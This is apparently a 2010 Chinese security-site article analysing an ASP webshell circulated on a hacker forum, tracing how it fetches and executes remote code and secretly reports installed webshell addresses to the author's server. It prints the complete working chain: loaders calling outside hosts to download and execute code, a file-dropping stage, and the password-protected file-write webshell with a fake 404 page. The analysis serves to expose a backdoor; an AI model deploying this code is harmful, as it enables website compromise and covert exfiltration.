首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>系统安全>文章内容
高级脚本“小马”的后门发现之旅
来源:[D.S.T] 作者:New4 发布时间:2010-10-07  
前言:先是到我们暗组论坛看到如下帖子《黑站必备-超强隐藏后门。ASP无敌上传器》,并有人回复说有个域名不知道干什么用的,由于好奇心就下载来看并有了下面的文章。
图1 帖子内容
 
不看不知道一看吓一跳,这脚本不但高级而且最后还有一手,留了一个后门!
为什么说他高级?因为他用的一些技巧从来没见过,使用了SQL Server+Microsoft.XMLHTTP+404错误页面伪装,让代码可以远程动态获取和多次执行,如果使用者调用小马错误还返回一个200错误号的404错误页面囧!这样小黑以为刚刚上传的小马被杀了,这样也就给了他一个利用后门的机会。起码小黑不会帮他把这个小马删了,至于最后怎么正确调用请继续看往下看嘿。
下面是作者提供的小马后门:
 
<%password="123456"        '这里123456换成您的密码,密码只能为英文或数字%>
<%'无%>
<%'敌%>
<%'上%>
<%'传%>
<%'器%>
<%BY01="hmserver"%>
<%BY02="8866"%>
<%BY03="org"%>
<%BYJH="."%>
<%CODE="888"%>
<%BYLJ1="provider=sqloledb;"%>
<%BYLJ2="server="&BY01&BYJH&BY02&BYJH&BY03&";"%>
<%BYLJ3="uid="&CODE&";"%>
<%BYLJ4="pwd="&CODE&";"%>
<%BYLJ5="database="&CODE&";"%>
<%Set amconn=Server.CreateObject("ADODB.Connection")%>
<%amconn.open BYLJ1&BYLJ2&BYLJ3&BYLJ4&BYLJ5%>
<%sqlam="select * from code"%>
<%set rsam=amconn.execute(sqlam)%>
<%amtxt=rsam("txt")%>
<%amtxt=replace(amtxt,"amsql=""password""","amsql="""&password&"""")%>
<%execute(amtxt)%>
<%rsam.close%>
<%set rsam=nothing%>
<%amconn.close%>
<%set amconn=nothing%>
 
仔细看看上面已经有域名,也就是后面帖子为什么说有的原因了(太明文了)。判断是不是数据库操作我们只要看这个“ADODB.Connection”或 “select * from code”前者是创建一个ADO操作数据库的连接,后者则是操作数据库的SQL语句,那小黑就要问了,如何发现最后的秘密呢?
下面我们有两种方法:1.利用抓包软件在服务器(执行ASP那端)上运行抓包看明文;2.自己通过SQL查询分析器连接过去执行SQL语句查询,如图2、3所示,连接帐号、密码、数据库都是888,查询分析器复制的内容不完整可能跟数据类型有关系,查询分析器不能完全显示,大家通过SQL企业管理器查看就完整了。如果大家觉得太麻烦或者没安装SQL Server完整版,那就用下面方法吧。如图4,找一款Sniffer嗅探软件进行数据包抓捕就可以看到所传输的代码,好处是移动方便完全绿色。

 

图2连接SQL服务器

 

图3执行SQL语句

 
图4抓到的数据包

抓包的代码如下:复制内容到剪贴板代码:
amsql="password"
BY01="http"
BY02="hmserver"
BY03="8800"
BY04="org"
BYXG="/"
BYJH="."
BYMH=":"
BYQZ="sql_"
BYHZ="sc.txt"
BYDK="888"
BYURL=BY01&BYMH&BYXG&BYXG&BY02&BYJH&BY03&BYJH&BY04&BYMH&BYDK&BYXG&BYQZ&BYHZ
Set amxml = Server.CreateObject("MSXML2.ServerXMLHTTP")
amxml.open "GET",BYURL,false
amxml.send()
amtxt=amxml.responseText
amtxt=replace(amtxt,"amsc=""password""","amsc="""&password&"""")
execute(amtxt)上面的代码没什么意思,就一个利用XMLHTTP的下载的方法。我们在继续跟找到sql_sc.txt的代码:复制内容到剪贴板代码:
amsc="password"
BYAM="http://hmserver.8800.org:888/hk_"
Function GetUrl()
ScriptAddress=CStr(Request.ServerVariables("SCRIPT_NAME"))
Servername=CStr(Request.ServerVariables("Server_Name"))
findfilename=right(ScriptAddress,len(ScriptAddress)-instrrev(ScriptAddress,"/"))
GetUrl="http://"& Servername & ScriptAddress
Geturl=replace(Geturl,findfilename,"")
End Function
Function GetBody(Url)
Dim objXML
On Error Resume Next
Set objXML=CreateObject("Microsoft.XMLHTTP")
With objXML
.Open "Get", Url, False, "", ""
.Send
GetBody=.ResponseBody
End With
GetBody=BytesToBstr(GetBody,"GB2312")
Set objXML=Nothing
End Function
Function BytesToBstr(strBody,CodeBase)
dim objStream
set objStream=Server.CreateObject("Adodb.Stream")
objStream.Type=1
objStream.Mode=3
objStream.Open
objStream.Write strBody
objStream.Position=0
objStream.Type=2
objStream.Charset=CodeBase
BytesToBstr=objStream.ReadText
objStream.Close
set objStream=nothing
End Function
Function WriteFile(StrContent,Foldername,fileExt,fname)
dim myfos,TheFile,Filename,TheFolder,ThefileExt
Set myfos=Server.CreateObject("Scripting.FileSystemObject")
TheFolder ="./"
ThefileExt=".txt"
If Foldername<>"" Then TheFolder=Foldername
If ThefileExt<>"" Then ThefileExt=fileExt
TheFolder=Server.MapPath(TheFolder)
If myfos.FolderExists(TheFolder)=False Then
myfos.CreateFolder(TheFolder)
End If
If fname="" Then
Filename =Replace(Cstr(time()),":",".")
Else
Filename=fname
End If
TheFile="\\.\"&TheFolder & "\" & Filename & ThefileExt
set fs=Server.CreateObject("Scripting.FileSystemObject")
IF fs.FileExists(TheFile) then
response.write "<script>self.location="""&Geturl&fname&fileext&"?password="&amsc&""";</script>"
Else
Set ff=fs.CreateTextFile(TheFile)
set ff=nothing
response.write "<script>self.location="""&Geturl&fname&fileext&"?password="&amsc&""";</script>"
END IF
set f=fs.GetFile(TheFile)
f.Attributes=0
Set mytxt=myfos.OpenTextFile(TheFile,2,True)
mytxt.Write StrContent
f.Attributes=1+2+4
If err.number<>0 Then
WriteFile=0
End If
mytxt.close
set f=nothing
set fs=nothing
set myfos=nothing
set mytxt=nothing
End Function
aux=GetBody(BYAM&"asp.txt")
aux=replace(aux,"amasp=""password""","amasp="""&amsc&"""")
CALL WriteFile(aux,"",".gif","aux.asp;")
scname=Request.ServerVariables("script_name")
postion=InstrRev(scname,"/")+1
scname=Mid(scname,postion)
If InStr(scname,"?")>0 Then
arrName=scname
arrName=Split(arrName,"?")
scname=arrName(0)
End If
s=Server.MapPath(scname)
Set fso=CreateObject("Scripting.FileSystemObject")
If fso.FileExists(s) Then
fso.Deletefile(s)
End If
Set fso=Nothing这段就是写小马的核心部分了,操作大概意思是在通过XMLHTTP下载将最后的小马代码,保存到服务器上文件名为:aux.asp;.gif(不知道作者为什么要这样取名,如果他是        Win2000系统呢那不是执行不起来?),代码我就简单分析到这里,下面继续跟hk_asp.txt文件由于这代码跟抓包的一样也是XMLHTTP下载 “hk_aux.txt”,这里我就直接贴hk_aux.txt的代码了:复制内容到剪贴板代码:
amaux="password"
if request("password")=amaux then
session(amaux)="ok"
else
session(amaux)="no"
end if
if session(amaux)="ok" then
Response.write("<title>ASP无敌上传器</title>")
on error resume next
testfile=Request.form("N")
msg=Request.form("M")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
Response.write("<form method=""POST"" ACTION="""">")
Response.write("<input type=""text"" size=""40"" name=""N"" value="&server.mappath("/")&"\新建文件名.asp>")
Response.write("<input type=""submit"" name=""Send"" value=""无敌上传"" class=input><BR>")
Response.write("<textarea name=M cols=50 rows=7 width=15></textarea>")
Response.write("</form>")

Function GetLocationURL()
Dim Url
Dim ServerPort,ServerName,ScriptName,QueryString
ServerName = Request.ServerVariables("SERVER_NAME")
ServerPort = Request.ServerVariables("SERVER_PORT")
ScriptName = Request.ServerVariables("SCRIPT_NAME")
QueryString = Request.ServerVariables("QUERY_STRING")
Url="http://"&ServerName
If ServerPort <> "80" Then Url = Url & ":" & ServerPort
Url=Url&ScriptName
If QueryString <>"" Then Url=Url&"?"& QueryString
GetLocationURL=Url
End Function
geturl=LCASE(GetLocationURL())
BY01="hmserver"
BY02="8866"
BY03="org"
BYJH="."
CODE="url"
BYLJ1="Driver={SQL Server};"
BYLJ2="server="&BY01&BYJH&BY02&BYJH&BY03&";"
BYLJ3="uid="&CODE&";"
BYLJ4="pwd="&CODE&";"
BYLJ5="database="&CODE&";"
set rs=server.CreateObject("adodb.recordset")
conn=""&BYLJ1&BYLJ2&BYLJ3&BYLJ4&BYLJ5&""
sql="select * from url where url='"&geturl&"'"
rs.open sql,conn,1,3
if rs.bof and rs.eof then
rs.addnew
rs("url")=geturl
rs.update
rs.close
conn.close
set rs=nothing
set conn=nothing
end if

Response.write "请记住完整安全地址,只有完整才能登陆<br>"&geturl
response.end
else
Response.Write "<!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.01//EN"" ""http://www.w3.org/TR/html4/strict.dtd"">"
Response.Write "<HTML><HEAD><TITLE>无法找到该页</TITLE>"
Response.Write "<META HTTP-EQUIV=""Content-Type"" Content=""text/html; charset=GB2312"">"
Response.Write "<STYLE type=""text/css""> "
Response.Write "  BODY { font: 9pt/12pt 宋体 }"
Response.Write "  H1 { font: 12pt/15pt 宋体 }"
Response.Write "  H2 { font: 9pt/12pt 宋体 }"
Response.Write "  A:link { color: red }"
Response.Write "  A:visited { color: maroon }"
Response.Write "</STYLE>"
Response.Write "</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>"
Response.Write "<h1>无法找到该页</h1>"
Response.Write "您正在搜索的页面可能已经删除、更名或暂时不可用。"
Response.Write "<hr>"
Response.Write "<p>请尝试以下操作:</p>"
Response.Write "<ul>"
Response.Write "<li>确保浏览器的地址栏中显示的网站地址的拼写和格式正确无误。</li>"
Response.Write "<li>如果通过单击链接而到达了该网页,请与网站管理员联系,通知他们该链接的格式不正确。"
Response.Write "</li>"
Response.Write "<li>单击<a href=""javascript:history.back(1)"">后退</a>按钮尝试另一个链接。</li>"
Response.Write "</ul>"
Response.Write "<h2>HTTP 错误 404 - 文件或目录未找到。<br>Internet 信息服务 (IIS)</h2>"
Response.Write "<hr>"
Response.Write "<p>技术信息(为技术支持人员提供)</p>"
Response.Write "<ul>"
Response.Write "<li>转到 <a href=""http://go.microsoft.com/fwlink/?linkid=1986"">Microsoft 产品支持服务</a>并搜索包括“HTTP”和“404”的标题。</li>"
Response.Write "<li>打开“IIS 帮助”(可在 IIS 管理器 (inetmgr) 中访问),然后搜索标题为“网站设置”、“常规管理任务”和“关于自定义错误消息”的主题。</li>"
Response.Write "</ul>"
Response.Write "</TD></TR></TABLE></BODY></HTML>"
Response.end
end if以上代码就是他小马的精华部分了,而隐藏的后门也暴露在其中。小马调用方法“aux.asp;.gif?password=123456”,如果密码错误就输出伪造的404错误页面,其实标记200的谁看不出来,骗骗小黑还行。而后门就放在Function GetLocationURL()函数里,其实就是通过SQL将该后门地址“上报”,我们只要用SQL查询分析器查就能把他收集的所有Webshell地址列出来(部分首页被挂马),如图5,如果你耐心将整个流程看完,发现过程也没什么技术含量主要是要有耐心,作者使用了3次XMLHTTP如果你耐心不够,使无法发现其后门所在!

 

图5 所有收集的后门地址

如果在看他ASP代码发现部分使用变量分段不易读的,可以用如下代码进行组合:

复制内容到剪贴板
代码:
<%
BY01="http"
BY02="hmserver"
BY03="8800"
BY04="org"
BYXG="/"
BYJH="."
BYMH=":"
BYQZ="sql_"
BYHZ="sc.txt"
BYDK="888"
BYURL=BY01&BYMH&BYXG&BYXG&BY02&BYJH&BY03&BYJH&BY04&BYMH&BYDK&BYXG&BYQZ&BYHZ

Response.Write(BYURL) '输出变量
%>

后记:小马也是可以带后门的,请大家以后使用脚本木马要注意查后门,防止被利用导致网站被恶意挂马,那我们就成帮凶了!

注:本文未投任何杂志社,如网络转载、参考内容编稿请注明出处暗组。


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·Windows 系统调用功能列表
·windows入侵提权-创建隐藏帐号(
· CC_STACKPROTECTOR防止内核stac
·Linux内核安全研究之Stack Overf
· Exploit The Linux Kernel NULL
·Kernel Locking 中文版
·IA32上Linux内核中断机制分析
·Award BIOS Rootkit,universal
·PHP代码审计
·N种内核注入DLL的思路及实现
·glibc 2.3.5 的一些新安全特性
·Struts2/XWork < 2.2.0 Remote C
  相关文章
·php通用防注入程序
·windows溢出保护原理与绕过方法
·windows堆溢出利用方式总结
·分析DLL劫持攻击
·HOWTO: 在本地配置名字服务器并
·php扫马、内网查mysql数据库账号
·Linux内核安全研究之Stack Overf
· CC_STACKPROTECTOR防止内核stac
·Linux下的入侵响应案例
·PHP代码审计
·Struts2/XWork < 2.2.0 Remote C
· Exploit The Linux Kernel NULL
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved